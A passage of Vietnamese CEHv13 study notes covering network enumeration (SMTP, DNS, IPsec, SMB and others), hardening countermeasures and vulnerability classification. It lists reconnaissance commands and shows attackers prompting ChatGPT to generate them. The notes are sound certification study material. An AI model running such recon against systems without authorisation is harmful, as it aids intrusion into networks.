- *Ví dụ Prompt 1:* `"Perform SMTP enumeration on target IP 10.10.1.19"` -> AI trả về lệnh: `nmap -p25 --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} 10.10.1.19 -oN ~/enumeration_results/smtp_enum_10.10.1.19.txt`.
- *Ví dụ Prompt 2:* `"Perform SMTP enumeration on target IP 10.10.1.19 with metasploit"` -> AI trả về lệnh: `msfconsole -q -x "use auxiliary/scanner/smtp/smtp_enum; set RHOSTS 10.10.1.19; run; exit"`.

DNS Enumeration:

- **Cổng**: TCP/UDP 53
- **Chuyển vùng DNS (DNS Zone Transfer)**:
  - `dig ns <target domain>`: Lấy danh sách name servers.
  - `dig @<domain of name server> <target domain> axfr`: Thử zone transfer.
  - `nslookup`: Trên Windows, sử dụng `set querytype=soa` và `ls -d <domain of name server>`.
  - **DNSRecon**: `dnsrecon -t axfr -d <target domain>`.
- **DNS Cache Snooping**:
  - **Phương pháp non-recursive**: Gửi truy vấn không đệ quy bằng `dig @<IP of DNS server> <Target domain> A +norecurse`. (Nếu không có cache, server trả về file `root.hints`).
  - **Phương pháp recursive**: Gửi đệ quy bằng `dig ... +recurse`. Đánh giá xem giá trị TTL trả về có nhỏ hơn mức khởi tạo không để xác định bản ghi đang nằm trong cache.
- **DNSSEC Zone Walking**: Kỹ thuật lấy bản ghi nội bộ từ cấu hình DNSSEC sai (NSEC record files).
  - *Lưu ý về NSEC3:* Để khắc phục lỗ hổng liệt kê vùng của NSEC, quản trị viên sử dụng Next Secure version 3 (NSEC3). NSEC3 cung cấp chức năng tương tự như NSEC, nhưng nó cung cấp các tên bản ghi được băm bằng mật mã (cryptographically hashed record names) được thiết kế để ngăn chặn việc liệt kê (zone walking) các tên bản ghi có mặt trong zone.
  - **Công cụ**: LDNS (`ldns-walk @<IP> <Domain>`), DNSRecon (`dnsrecon -d <domain> -z`), nsec3map, nsec3walker, DNSwalk, Knock, Raccoon, Subfinder, Turbolist3r.
- **OWASP AMASS**:
  - `amass enum -d <Target Domain>`
  - `amass enum -passive -d <Target Domain> -src`
  - **Các lệnh OWASP Amass bổ sung (Trang 501, 506-510):**
    * Lệnh theo dõi/so sánh 2 lần quét gần nhất: `amass track -config /root/amass/config.ini -dir amass4owasp -d <Target Domain> -last 2`
    * Lệnh hiển thị kết quả từ cơ sở dữ liệu: `amass db -dir amass4owasp -list`
    * Lệnh tạo biểu đồ trực quan HTML d3-force: `amass viz -d3 -dir amass4owasp`

    * Lệnh thực hiện liệt kê chủ động thông qua brute-forcing với một danh sách từ (wordlist) được chỉ định: `amass enum -active -d <Target Domain> -brute -w /usr/share/wordlists/amass/all.txt`

Liệt kê DNS và DNSSEC bằng Nmap (DNS and DNSSEC Enumeration using Nmap) (Trang 502 - 505):

- Liệt kê tất cả các dịch vụ khả dụng trên host mục tiêu: `nmap --script=broadcast-dns-service-discovery <Target Domain>`
- Truy xuất tất cả các tên miền phụ (subdomains) liên kết với host mục tiêu: `nmap -T4 -p 53 --script dns-brute <Target Domain>`
- Kiểm tra xem tính năng đệ quy DNS (DNS recursion) có được bật trên máy chủ không: `nmap -Pn -sU -p 53 --script=dns-recursion <Target IP>`
- Liệt kê danh sách tên miền phụ bằng cách lấy các bản ghi nội bộ thông qua DNSSEC: `nmap -sU -p 53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=<domain> <target>`

Liệt kê DNS bằng AI (DNS & DNS Cache Snooping using AI) (Trang 506-510):

- **DNS Enumeration với AI:**
  - *Prompt:* `"Use Nmap to perform DNS Enumeration on target domain www.certifiedhacker.com"` -> AI xuất chuỗi lệnh Nmap sử dụng scripts `dns-brute` và `dns-zone-transfer` lưu kết quả tự động.
- **DNS Cache Snooping với AI:**
  - *Prompt 1:* `"Use dig command to perform DNS cache snooping on target domain www.certifiedhacker.com using recursive method. Use DNS server IP as 162.241.216.11"` -> Trả về lệnh: `dig @162.241.216.11 www.certifiedhacker.com +recurse`.
  - *Prompt 2:* `"Use dig command to perform DNS cache snooping on the target domain www.certifiedhacker.com using non-recursive method..."` -> Trả về lệnh: `dig @162.241.216.11 www.certifiedhacker.com +norecurse`.

5. Liệt kê IPSec (IPsec Enumeration)

Hầu hết các VPN dựa trên IPsec sử dụng giao thức ISAKMP (IKE) để thiết lập Security Associations (SA). Quét ISAKMP báo hiệu sự tồn tại của VPN gateway.

- **Cổng**: UDP 500
- **Nmap**:
  - `nmap -sU -p 500 <target IP address>` (Quét cơ bản).
  - `nmap -sU -p 500 --script=ike-version <target IP>` (Lấy phiên bản IKE).
- **ike-scan**: `ike-scan -M <target gateway IP address>`. Phát hiện IKE hosts, thu thập thuật toán mã hóa/hashing và Vendor ID.
  - **Tính năng mở rộng của ike-scan (Trang 513-515):** Bên cạnh khám phá host, `ike-scan` còn thực hiện:
    * **Fingerprinting (Lấy dấu vân tay):** Xác định triển khai IKE và phiên bản phần mềm bằng kỹ thuật UDP backoff fingerprinting (so sánh thời gian đến của gói tin) và Vendor ID fingerprinting.
    * **Transform enumeration:** Xác định thuật toán mã hóa và băm được máy chủ VPN hỗ trợ (IKE phase 1).
    * **User enumeration:** Khám phá tên người dùng VPN hợp lệ trên một số hệ thống.
    * **Pre-shared key cracking:** Dùng công cụ `psk-crack` (thuộc gói ike-scan) để crack hash xác thực (IKE Aggressive Mode) bằng từ điển hoặc brute-force.

Liệt kê IPsec bằng AI (IPsec Enumeration with AI) (Trang 513-515):

- *Prompt AI:* `"Perform IPsec enumeration on target IP 10.10.1.22 with nmap"` -> AI tự động trả về lệnh `nmap -sU -p 500 --script=ike-version 10.10.1.22`.

6. Liệt kê VoIP (VoIP Enumeration)

VoIP sử dụng giao thức SIP (Session Initiation Protocol).

- **Cổng mặc định**: UDP/TCP 2000, 2001, 5060 (không mã hóa), 5061 (mã hóa TLS).
- **Svmap**: Scanner nguồn mở nhận diện thiết bị SIP và máy chủ PBX. Lệnh: `svmap <target network range/IP Address>`.
  - **Các tính năng của Svmap:**
    * Xác định các thiết bị SIP và máy chủ PBX trên các cổng mặc định và không mặc định.
    * Quét các dải mạng lớn (Scan large ranges of networks).
    * Quét một máy chủ trên nhiều cổng khác nhau để tìm dịch vụ SIP hoặc quét nhiều máy chủ trên nhiều cổng.
    * Đổ chuông tất cả các điện thoại trên mạng cùng một lúc bằng phương thức `INVITE`.
- **Metasploit**: Dùng `auxiliary/scanner/sip/enumerator` để quét các username/extension số của điện thoại VoIP.

7. Liệt kê RPC (RPC Enumeration)

- **Cổng**: Portmapper lắng nghe trên TCP/UDP 111, còn Endpoint Mapper của Microsoft RPC chạy trên TCP/UDP 135.
- **Nmap**: `nmap -sR <target IP/network>` hoặc `nmap -T4 -A <target IP/network>`.
- **Công cụ khác**: NetScanTools Pro (tính năng RPC Info).

8. Liệt kê người dùng Unix/Linux (Unix/Linux User Enumeration)

- **`rusers`**: Hiển thị người dùng đang đăng nhập trên máy từ xa (remote machines).
  - Lệnh: `/usr/bin/rusers [-a] [-l] [-u| -h| -i] [Host ...]`. Tùy chọn `-a` (tất cả máy), `-l` (giống lệnh who), `-u` (sắp xếp theo lượng user), `-i` (sắp xếp theo idle time).
- **`rwho`**: Tương tự `who` nhưng quét toàn local network chạy rwho daemon. Lệnh: `rwho [ -a]`.
- **`finger`**: Hiển thị tên đăng nhập, thư mục home, thời gian nhàn rỗi (idle), sdt... Lệnh: `finger [-l] [-m] [-p] [-s] [user ...] [user@host ...]`.
  - **Các tùy chọn của lệnh finger:**
    * `-s`: Hiển thị tên đăng nhập, tên thật, tên thiết bị đầu cuối (terminal), thời gian nhàn rỗi (idle), thời gian đăng nhập, vị trí văn phòng và số điện thoại văn phòng.
    * `-l`: Tạo định dạng nhiều dòng hiển thị tất cả thông tin như tùy chọn `-s` cùng với thư mục home, số điện thoại nhà riêng, login shell, trạng thái mail, và nội dung các tệp `.plan`, `.project`, `.pgpkey`, `.forward` từ thư mục home của người dùng.
    * `-p`: Ngăn tùy chọn `-l` hiển thị nội dung của các tệp `.plan`, `.project` và `.pgpkey`.
    * `-m`: Ngăn chặn việc khớp (matching) các tên người dùng.

9. Liệt kê SMB (SMB Enumeration)

Lưu lượng chia sẻ SMB trước đây chạy qua NetBIOS TCP 139. SMB trực tiếp (Direct Host) trên Windows đời mới sử dụng TCP/UDP 445. Tấn công liệt kê SMB giúp lấy banner hệ điều hành, thư mục chia sẻ, session.

- **Cổng**: TCP/UDP 445, TCP 139
- **Nmap**:
  - `nmap -p 445 -A <target IP>`
  - `nmap -p 445 --script smb-protocols <Target IP>`
  - `nmap -p 139 --script smb-protocols <Target IP>`
  - `nmap -p 445 --script smb-enum-shares <Target IP>` (Liệt kê các thư mục share trên server).
- **Công cụ khác**: SMBMap, enum4linux, nullinux, SMBeagle, NetScanTool Pro.

Liệt kê SMB bằng AI (SMB Enumeration with AI) (Trang 525-532): Kẻ tấn công sử dụng ChatGPT để quét các cổng SMB mở và liệt kê danh sách chia sẻ.

- *Prompt AI:* `"Scan the target IP 10.10.1.22 for the port using SMB with nmap"` -> AI sẽ trả về lệnh quét: `nmap -p 445 --script smb-enum-shares 10.10.1.22`.

10. Tạo và Chạy Script tự động liệt kê bằng AI (Create and Run Custom Script to Automate Network Enumeration Tasks with AI) (Trang 525-532)

Kẻ tấn công có thể yêu cầu AI (ChatGPT) tạo ra một bash script tự động hóa toàn bộ quá trình do thám mạng.

- *Prompt:* `"Develop and execute a script which will automate network enumeration tasks on target IP range 10.10.1.0/24"`
- AI sẽ tạo ra một file script Bash (network_enumeration.sh) để tự động hóa:
- Lệnh thực thi script: `chmod +x network_enumeration.sh && ./network_enumeration.sh`

Các biện pháp phòng chống liệt kê (Enumeration Countermeasures) (Trang 533-541)

SNMP Countermeasures:

- Loại bỏ SNMP agent hoặc tắt dịch vụ SNMP nếu không cần thiết.
- Thay đổi tên community strings mặc định ("public" và "private") thành các giá trị phức tạp, duy nhất.
- Nâng cấp lên SNMPv3 để mã hóa mật khẩu và thông điệp.
- Thực thi Group Policy "Additional restrictions for anonymous connections".
- Giới hạn quyền truy cập vào null session pipes, null session shares và lọc IPsec.
- Chặn truy cập vào cổng TCP/UDP 161.
- Không cài đặt các thành phần quản lý và giám sát của Windows trừ khi thực sự cần thiết.
- Mã hóa hoặc xác thực bằng IPsec.
- Sửa đổi registry để chỉ cho phép các truy cập bị hạn chế hoặc được phép đối với tên cộng đồng (community name) SNMP.
- Cấu hình người dùng SNMPv3 trong cụm (cluster) để tăng cường bảo mật bằng xác thực và mã hóa.
- Tránh cấu hình sai quyền read-write (Chỉ cấp quyền read-only cho các thiết bị không cần write).

- Cấu hình Access Control Lists (ACLs) hoặc tường lửa để chỉ cho phép các IP hợp pháp truy cập thiết bị SNMP.
- Kiểm toán (Audit) lưu lượng mạng thường xuyên.
- Sử dụng chế độ "AuthNoPriv" (dùng MD5 và SHA) để mã hóa thông tin xác thực.
- Tránh dùng chế độ "NoAuthNoPriv" vì nó không mã hóa giao tiếp.
- Triển khai Role-based access control (RBAC) cho các nhóm người dùng SNMP.
- Đưa lưu lượng quản lý SNMP vào một VLAN an toàn, tách biệt để hạn chế phơi nhiễm trước những kẻ nghe lén.
- Áp dụng các bản cập nhật bảo mật từ nhà sản xuất. Triển khai công cụ phát hiện bất thường để cảnh báo lưu lượng SNMP lạ. Đảm bảo mọi truy cập SNMP đều được ghi log.

LDAP Countermeasures:

- Mặc định LDAP không bảo mật, hãy dùng Secure Sockets Layer (SSL) hoặc STARTTLS để mã hóa lưu lượng.
- Chọn username khác với địa chỉ email và bật account lockout.
- Hạn chế quyền truy cập Active Directory bằng phần mềm như Citrix.
- Sử dụng NTLM, Kerberos hoặc xác thực cơ bản thay cho quyền ẩn danh.
- Ghi log tất cả các truy cập vào AD.
- Chặn người dùng truy cập một số thực thể AD bằng cách thay đổi quyền trên object/attribute.
- Triển khai canary accounts (tài khoản mồi nhử) giống hệt tài khoản thật để đánh lừa kẻ tấn công.
- Tạo decoy groups (nhóm mồi nhử) có chữ "Admin" trong tên để bẫy kẻ tấn công.
- Bật Xác thực đa yếu tố (MFA).
- Vô hiệu hóa truy vấn ẩn danh (anonymous binds) trừ khi bắt buộc.
- Cấu hình ACLs để giới hạn quyền xem/hành động của người dùng đã xác thực.
- Dùng các công cụ giám sát phát hiện các pattern truy vấn LDAP bất thường. Đặt server LDAP vào một phân vùng mạng an toàn. Cấu hình tường lửa chặn truy cập bên ngoài không cần thiết. Enforce chính sách mật khẩu mạnh.

NFS Countermeasures:

- Thực thi quyền hạn hợp lý (chỉ định rõ ai được read/write) trên các file systems được export.
- Tạo luật tường lửa để chặn cổng NFS 2049.
- Cấu hình chuẩn xác các file `/etc/smb.conf`, `/etc/exports`, `/etc/hosts.allow`, `/etc/hosts.deny`.
- Thường xuyên cập nhật `/etc/exports` để đảm bảo chỉ host được phép mới có quyền truy cập.
- Dùng file `/etc/hosts.allow` và `/etc/hosts.deny` để từ chối truy cập dịch vụ NFS.
- Ghi log (Log requests) mọi truy cập file hệ thống trên NFS server.
- Bật tùy chọn `root_squash` trong `/etc/exports` để không tin tưởng quyền root từ phía client.
- Mã hóa lưu lượng NFS qua SSH tunneling.
- Áp dụng nguyên tắc Đặc quyền tối thiểu (Least privileges).
- Đảm bảo không có file nào chạy quyền suid và sgid trên thư mục export.

- Đảm bảo rằng netgroup NIS có tên máy chủ (hostname) được định nghĩa đầy đủ để ngăn chặn việc vô tình cấp quyền truy cập cao hơn cho các máy chủ khác.
- Giữ các máy chủ và máy khách NFS trong một phân đoạn mạng an toàn, được phân lập để giới hạn quyền truy cập từ các phân đoạn mạng không được phép.
- Kiểm tra sâu gói tin (DPI firewall) với toàn bộ lưu lượng NFS. Áp dụng xác thực Kerberos.
- Nâng cấp lên NFSv4 để hưởng các tính năng bảo mật tốt hơn.
- Sử dụng công cụ file system auditing và vá lỗi hệ thống định kỳ.

SMTP Countermeasures:

- Định cấu hình bỏ qua email gửi đến người nhận không xác định.
- Sử dụng Machine Learning (ML) để nhận diện spammer.
- Không tiết lộ thông tin IP/host nội bộ trong các mail response.
- Triển khai SPF (Sender Policy Framework), DKIM (DomainKeys Identified Mail) và DMARC.
- Giới hạn thông tin trong các thông báo lỗi (error messages).
- Dùng ACLs để giới hạn sử dụng một số lệnh SMTP. Bắt buộc xác thực trước khi gửi mail.
- Dùng TLS để mã hóa giao tiếp SMTP.
- Ghi log mọi truy cập và các lệnh đã dùng. Dùng firewall và Rate limiting (giới hạn tốc độ) để chống brute-force.
- Tắt tính năng open relay. Tắt các lệnh `EXPN`, `VRFY`, và `RCPT TO` hoặc chỉ cấp cho user xác thực.

SMB Countermeasures:

- Tắt dịch vụ SMB trên Web server và DNS server.
- Tắt Client for Microsoft Networks và File and Printer Sharing trên các máy bastion hosts lộ ra Internet.
- Sửa Registry: thêm `RestrictNullSessAccess = 1` tại đường dẫn `HKEY_LOCAL_MACHINE\textbackslash{}SYSTEM\` để chặn truy cập nặc danh vào Named pipes và Shares.
- Bật Windows Firewall hoặc hệ thống bảo vệ endpoint tương đương.
- Cài đặt bản vá bảo mật mới nhất, dùng chính sách mật khẩu mạnh, phân quyền chặt chẽ.
- Giám sát hệ thống chủ động và kiểm toán log thường xuyên.
- Dùng VPN an toàn, dùng Next-Gen Firewalls (NGFWs) để phân tích hành vi file, dùng hệ thống cảm biến mối đe dọa toàn cầu (global threat sensors).
- Triển khai truyền dữ liệu ký số (digitally signed data).
- Chặn/tắt các cổng TCP 88, 139, 445 và UDP 88, 137, 138.
- Bật public profile settings trong tường lửa. Tắt SMB đối với các máy chủ Internet-facing.
- Đảm bảo rằng quy ước SMB đối mặt với web (web confronting) và các máy chủ DNS chính (DNS mainframes) đã bị vô hiệu hóa.
- Cấu hình máy chủ SMB để ghi log (nhật ký) các nỗ lực truy cập và những thay đổi đối với tài nguyên chia sẻ. Thường xuyên xem xét log để phát hiện hoạt động đáng ngờ.
- Nâng cấp lên cấu trúc SMBv3 trở lên (có mã hóa), tuyệt đối tránh dùng SMBv1. Cấu hình ACLs trên SMB shares. Áp dụng nguyên tắc Đặc quyền tối thiểu.

DNS Countermeasures:

- Restrict resolver access: Chỉ cho phép các host nội bộ truy cập để chống cache poisoning.
- Randomize source ports: Ngẫu nhiên hóa cổng nguồn thay vì mặc định dùng UDP 53. Ngẫu nhiên hóa Query IDs và thay đổi chữ hoa/thường trong tên miền.
- Kiểm toán các DNS zones, cập nhật bản vá mới nhất cho BIND/Microsoft DNS.
- Giám sát hành vi nameservers để phát hiện bất thường.
- Restrict DNS zone transfers: Chỉ cho phép slave nameserver IP cụ thể được zone transfer. Tắt đối với host không tin cậy.
- Tách biệt server đảm nhiệm chức năng authoritative và chức năng resolver.
- Dùng máy chủ DNS bị cô lập chuyên dụng, không dùng chung với máy chủ Web.
- Disable DNS recursion: Tắt truy vấn đệ quy để tránh khuếch đại tấn công (amplification attacks).
- Đóng cổng không dùng, dùng VPN, bật Xác thực 2 yếu tố (2FA), dùng khóa thay đổi DNS (DNS change lock).
- Triển khai DNSSEC để bảo vệ bằng chữ ký số. Dùng Premium DNS registration để giấu host info (HINFO).
- Mã hóa truy vấn bằng DoH (DNS-over-HTTPS) hoặc DoT (DNS-over-TLS).
- Bật log, giám sát bất thường bằng hệ thống tự động, cấu hình Rate limiting.
- Split DNS architecture: Dùng kiến trúc DNS phân tách (Internal DNS và External DNS). Cung cấp tối thiểu thông tin DNS.
- Không xuất bản private IP ra public DNS. Dùng thông tin admin tiêu chuẩn khi đăng ký tên miền để tránh bị social engineering. Xóa các file zone và bản ghi rác/cũ.
- Chặn các truy vấn `version.bind` bằng ACLs. Sử dụng file `/etc/hosts` cho môi trường dev/staging thay vì cấu hình lên DNS. Deploy DNS Firewalls để chặn truy vấn độc hại.

CEHv13 - Module 05 - Vulnerability Analysis

Phân loại lỗ hổng (Vulnerability classification)

1. Cấu hình sai/Cấu hình yếu (Misconfigurations/Weak Configurations)

Cấu hình mạng không đúng (Network misconfigurations):

- **Giao thức không an toàn (Insecure protocols):** Truyền dữ liệu dưới dạng bản rõ (plaintext) không mã hóa, dẫn đến lỗi xác thực và toàn vẹn, dễ bị đánh cắp thông tin (MITM).
- **Cổng và dịch vụ mở (Open ports and services):** Mở các cổng không cần thiết hoặc không được vá lỗi dẫn đến mất dữ liệu hoặc tấn công từ chối dịch vụ (DoS).
- **Lỗi (Errors):** Lỗi cấu hình tạo ra các báo cáo lỗi cung cấp thông tin chi tiết cho kẻ tấn công, hoặc dùng phần mềm lỗi thời dễ bị tiêm mã (code injection).
- **Mã hóa yếu (Weak encryption):** Do thuật toán yếu, khóa dễ đoán hoặc phân phối khóa không an toàn, cho phép kẻ tấn công sửa đổi dữ liệu hoặc giả mạo dịch vụ.

Cấu hình host sai (Host misconfigurations):

- **Quyền truy cập mở (Open permissions):** Cấp quyền không cần thiết cho người dùng, dẫn đến rò rỉ dữ liệu hoặc leo thang đặc quyền.
- **Tài khoản root không an toàn (Unsecured root accounts):** Sử dụng thông tin đăng nhập quản trị mặc định hoặc chính sách mật khẩu yếu, dễ bị brute-force.

2. Lỗi ứng dụng (Application flaws)

Là các lỗ hổng xảy ra do thiếu xác thực hoặc ủy quyền người dùng đúng cách. Bao gồm:

- **Tràn bộ đệm (Buffer overflows):** Lỗi lập trình ghi dữ liệu vượt quá kích thước bộ đệm được phân bổ, gây sự cố hệ thống hoặc chiếm quyền điều khiển.
- **Rò rỉ bộ nhớ (Memory leaks):** Không giải phóng khối bộ nhớ không còn sử dụng, dẫn đến cạn kiệt tài nguyên hoặc treo hệ thống.
- **Cạn kiệt tài nguyên (Resource exhaustion):** Gửi nhiều yêu cầu để khai thác lỗi phần mềm, làm treo máy chủ (tương tự DoS).
- **Tràn số nguyên (Integer overflows):** Hàm số học tạo ra và lưu giá trị lớn hơn bộ nhớ được phân bổ, gây mất ổn định phần mềm và mở đường cho chạy mã độc.
- **Tham chiếu con trỏ Null (Null pointer/Object dereference):** Kẻ tấn công cố tình kích hoạt tham chiếu null để qua mặt logic bảo mật hoặc ép ứng dụng tiết lộ chi tiết gỡ lỗi.
- **Tiêm DLL (DLL injection):** Ứng dụng chạy mã của bên thứ ba không tin cậy, cho phép kẻ tấn công tiêm DLL độc hại vào quy trình đang chạy.
- **Điều kiện tranh chấp (Race conditions):** Lợi dụng việc hệ thống xử lý đồng thời nhiều luồng trên một tài nguyên dùng chung để leo thang đặc quyền hoặc DoS.
- **Time-of-Check/Time-of-Use (TOC/TOU):** Lỗ hổng thời gian xuất hiện trong khoảng thời gian từ khi hệ thống kiểm tra quyền đến khi nó thực sự cấp quyền truy cập tài nguyên.
- **Xử lý input không đúng (Improper input handling):** Thiếu xác thực, lọc, khử mã độc từ luồng dữ liệu đầu vào (dẫn tới SQL Injection, XSS…).

- **Xử lý lỗi không đúng (Improper error handling):** Ứng dụng tiết lộ thông tin chi tiết như database dumps hoặc stack traces; hoặc cấp quyền truy cập sau khi hệ thống gặp lỗi (fail-open).
- **Điểm yếu ký mã (Code signing weakness):** Chứng chỉ phần mềm hết hạn hoặc thiếu hợp lệ, quản lý khóa riêng tư kém giúp kẻ tấn công giả mạo phần mềm hợp pháp.

3. Quản lý bản vá kém (Poor patch management)

- **Máy chủ chưa được vá (Unpatched servers):** Trở thành trung tâm hoặc điểm xâm nhập (entry point) cho kẻ tấn công đánh cắp dữ liệu tài chính.
- **Firmware chưa được vá (Unpatched firmware):** Cho phép kẻ tấn công tiêm mã độc, xóa dữ liệu ổ cứng, hoặc giành quyền điều khiển phần cứng từ xa.
- **OS chưa được vá (Unpatched OS):** Điểm khởi đầu để phát tán mã độc hoặc leo thang đặc quyền mức root.
- **Ứng dụng chưa được vá (Unpatched applications):** Để lại các lỗi phần mềm đã biết, mở đường cho kẻ tấn công thỏa hiệp tính bảo mật.

4. Lỗi thiết kế (Design flaws)

Lỗi logic trong chức năng của hệ thống (như mã hóa sai, xác thực dữ liệu kém) cho phép kẻ tấn công qua mặt cơ chế phát hiện.

5. Rủi ro bên thứ ba (Third-party risks)

- **Quản lý nhà cung cấp (Vendor management):** Rủi ro từ việc chọn nhà cung cấp dịch vụ/sản phẩm không tuân thủ các tiêu chuẩn bảo mật.
- **Tích hợp hệ thống (System integration):** Các nhà tích hợp (integrators) làm việc từ bên trong, có toàn quyền truy cập mạng, có thể dễ dàng qua mặt tường lửa.
- **Thiếu hỗ trợ từ vendor (Lack of vendor support):** Nhà cung cấp không đủ kiến thức xử lý hạ tầng mạng phức tạp hoặc chậm vá lỗi.
- **Rủi ro chuỗi cung ứng (Supply-chain risks):** Thiết bị mạng mua từ bên thứ 3 chứa mã độc ẩn từ trước khi bàn giao.
- **Gia công phát triển phần mềm (Outsourced code development):** Mã nguồn bị đánh cắp hoặc phần mềm phát triển không có bài kiểm thử đầy đủ.
- **Lưu trữ dữ liệu (Data storage):** Rủi ro khi dữ liệu nhạy cảm lưu ở kho của bên thứ 3.
- **Cloud-based vs. on-premises risks:** Các vấn đề rò rỉ dữ liệu hoặc cấu hình yếu khi di chuyển môi trường làm việc.

Các lỗ hổng khác

- **6. Cài đặt/Cấu hình mặc định (Default installations/configurations):** Quá chú trọng tính dễ dùng mà bỏ quên bảo mật; lưu giữ các cổng, dịch vụ không cần thiết kích hoạt sẵn.
- **7. Lỗi hệ điều hành (Operating System Flaws):** Bị tấn công bởi Trojans, worms, virus chiếm quyền kiểm soát máy tính.
- **8. Mật khẩu mặc định (Default Passwords):** Quên cập nhật mật khẩu mặc định của nhà sản xuất, dễ bị tấn công brute force/dictionary.

- **9. Lỗ hổng Zero-day (Zero-Day Vulnerabilities):** Các lỗ hổng phần mềm/phần cứng chưa từng được biết đến hoặc chưa có bản vá từ nhà sản xuất.
- **10. Lỗ hổng nền tảng cũ (Legacy Platform Vulnerabilities):** Gây ra bởi mã cũ/thiết bị (như IoT, OS cũ, Firewall) không còn được hỗ trợ cập nhật bản vá.
- **11. Hệ thống mở rộng/Tài sản không có tài liệu (System Sprawl/Undocumented Assets):** Hệ thống kết nối tràn lan không có tài liệu theo dõi/bảo trì rõ ràng, bị lãng quên nên trở thành điểm yếu tấn công.
- **12. Quản lý chứng chỉ và khóa không đúng (Improper Certificate and Key Management):** Lưu khóa trên server không mã hóa, dùng khóa cũ, dễ bị lộ dữ liệu nhạy cảm.

Hệ thống chấm điểm và Cơ sở dữ liệu lỗ hổng (Vulnerability Scoring Systems and Databases)

- **Common Vulnerability Scoring System (CVSS):** Một tiêu chuẩn mở dùng để cung cấp thang điểm định lượng về mức độ nghiêm trọng của lỗ hổng IT (gồm 4 nhóm: Base, Threat, Environmental, Supplemental).
  - **Thang điểm cơ sở (Base Score Range):** | Severity | Base score range | | ——— | ————————- | | None | 0.0 | | Low | 0.1-3.9 | | Medium | 4.0-6.9 | | High | 7.0-8.9 | | Critical | 9.0-10.0 |
  - **Các nhóm số liệu CVSS (CVSS Metric Groups) (Trang 559-561):** CVSS bao gồm 4 nhóm số liệu chính:
    - **Base metric (Số liệu cơ sở):** Thể hiện các đặc điểm nội tại của lỗ hổng, không đổi theo thời gian và môi trường. Bao gồm:
      - *Exploitability metrics (Đo lường khả năng khai thác):* Attack Vector (Véc-tơ tấn công), Attack Complexity (Độ phức tạp), Attack Requirements (Yêu cầu tấn công), Privileges Required (Đặc quyền yêu cầu), User Interaction (Tương tác người dùng).
      - *Impact metrics (Đo lường tác động):* Vulnerable System Confidentiality/Integrity/Availability (Tính bảo mật/Toàn vẹn/Sẵn sàng của hệ thống lỗ hổng) và Subsequent System (Hệ thống hệ quả).
    - **Threat metric (Số liệu mối đe dọa):** Phản ánh các đặc điểm liên quan đến rủi ro có thể thay đổi theo thời gian (Exploit Maturity).
    - **Environmental metric (Số liệu môi trường):** Đặc điểm của lỗ hổng liên quan và duy nhất đối với môi trường của một người dùng cụ thể.
    - **Supplemental metric (Số liệu bổ sung):** Cung cấp ngữ cảnh và đo lường các thuộc tính ngoại lai (Automatable, Recovery, Value Density, Safety, Provider Urgency).
- **Common Vulnerabilities and Exposures (CVE):** Là danh sách (dictionary) công khai và miễn phí chứa các mã định danh tiêu chuẩn hóa cho các lỗ hổng phần mềm *(Không phải là database)*. Mỗi lỗ hổng có 1 mã định danh và mô tả chuẩn hóa do các tổ chức CNA cấp.
  - **Bản chất của CVE (What CVE is) (Trang 559-561):**
    - Là một mã định danh duy nhất (One identifier) cho một lỗ hổng hoặc phơi nhiễm.
    - Là một mô tả tiêu chuẩn hóa (Standardized description).
    - Là một cuốn từ điển chứ không phải một cơ sở dữ liệu (A dictionary rather than a database).
    - Là phương pháp giúp các cơ sở dữ liệu và công cụ khác nhau "nói cùng một ngôn ngữ".
    - Là con đường hướng tới khả năng tương tác và phạm vi bảo mật tốt hơn (The way to interoperability and better security coverage).

    * Là cơ sở để đánh giá giữa các dịch vụ, công cụ và cơ sở dữ liệu (A basis for evaluation among services, tools, and databases).
    * Miễn phí cho công chúng tải xuống và sử dụng (Free for the public to download and use).
    * Được ngành công nghiệp chứng thực thông qua các Cơ quan cấp số CVE (CNAs), Ban kiểm duyệt CVE và vô số sản phẩm/dịch vụ sử dụng CVE. (Trang 561)
- **National Vulnerability Database (NVD):** Cơ sở dữ liệu kho lưu trữ tiêu chuẩn của chính phủ Mỹ, sử dụng giao thức SCAP. NVD thực hiện phân tích dựa trên dữ liệu của CVE để gán các chỉ số (CVSS, CWE, CPE).
- **Common Weakness Enumeration (CWE):** Là hệ thống danh mục phân loại các điểm yếu và lỗ hổng phần mềm (với hơn 600 danh mục) cung cấp nền tảng cơ sở cho việc nhận diện và giảm thiểu rủi ro.

Vòng đời quản lý lỗ hổng (Vulnerability management lifecycle)

Quá trình liên tục đánh giá và kiểm soát rủi ro trong môi trường IT, bao gồm các giai đoạn:

- **Giai đoạn Tiền đánh giá (Pre-Assessment Phase):** Định nghĩa chính sách, phạm vi; xác định và lập danh mục tài sản (Identify Assets), tạo lập baseline cấu hình mạng/hệ thống chuẩn.
  - **Các bước tạo lập Baseline (Steps in creating a baseline) (Trang 565):**
    1. Xác định và hiểu các quy trình kinh doanh.
    2. Xác định các ứng dụng, dữ liệu, dịch vụ hỗ trợ quy trình và đánh giá mã (code reviews).
    3. Xác định phần mềm, driver được phê duyệt và cấu hình cơ bản của từng hệ thống.
    4. Tạo kho lưu trữ tài sản và ưu tiên các tài sản quan trọng.
    5. Hiểu kiến trúc mạng và lập sơ đồ hạ tầng.
    6. Xác định các biện pháp kiểm soát đã có sẵn.
    7. Hiểu việc triển khai chính sách và tuân thủ tiêu chuẩn.
    8. Xác định phạm vi đánh giá.
    9. Tạo quy trình bảo vệ thông tin để hỗ trợ lập kế hoạch và hậu cần.
    * **Phân loại và ưu tiên tài sản (Classify and Prioritize Assets):** Phân loại các tài sản đã xác định theo nhu cầu kinh doanh để giúp nhận diện các rủi ro kinh doanh cao trong tổ chức. Ưu tiên các tài sản được đánh giá dựa trên tác động khi chúng bị lỗi và độ tin cậy của chúng trong hoạt động kinh doanh. Quá trình ưu tiên (Prioritization) giúp:
      · Đánh giá và quyết định giải pháp cho hậu quả khi tài sản gặp sự cố (Evaluate and decide a solution for the consequence of the assets failing).
      · Kiểm tra mức độ chấp nhận rủi ro (Examine the risk tolerance level).
      · Tổ chức các phương pháp để ưu tiên tài sản (Organize methods for prioritizing the assets).
- **Giai đoạn Đánh giá lỗ hổng (Vulnerability Assessment Phase):**
  - **Các bước trong giai đoạn đánh giá (Steps involved in the assessment phase) (Trang 566):**
    1. Kiểm tra và đánh giá an ninh vật lý.
    2. Kiểm tra các lỗi cấu hình và lỗi con người.
    3. Chạy công cụ quét lỗ hổng.
    4. Chọn loại quét phù hợp với tổ chức hoặc yêu cầu tuân thủ.

5. Xác định và ưu tiên lỗ hổng.
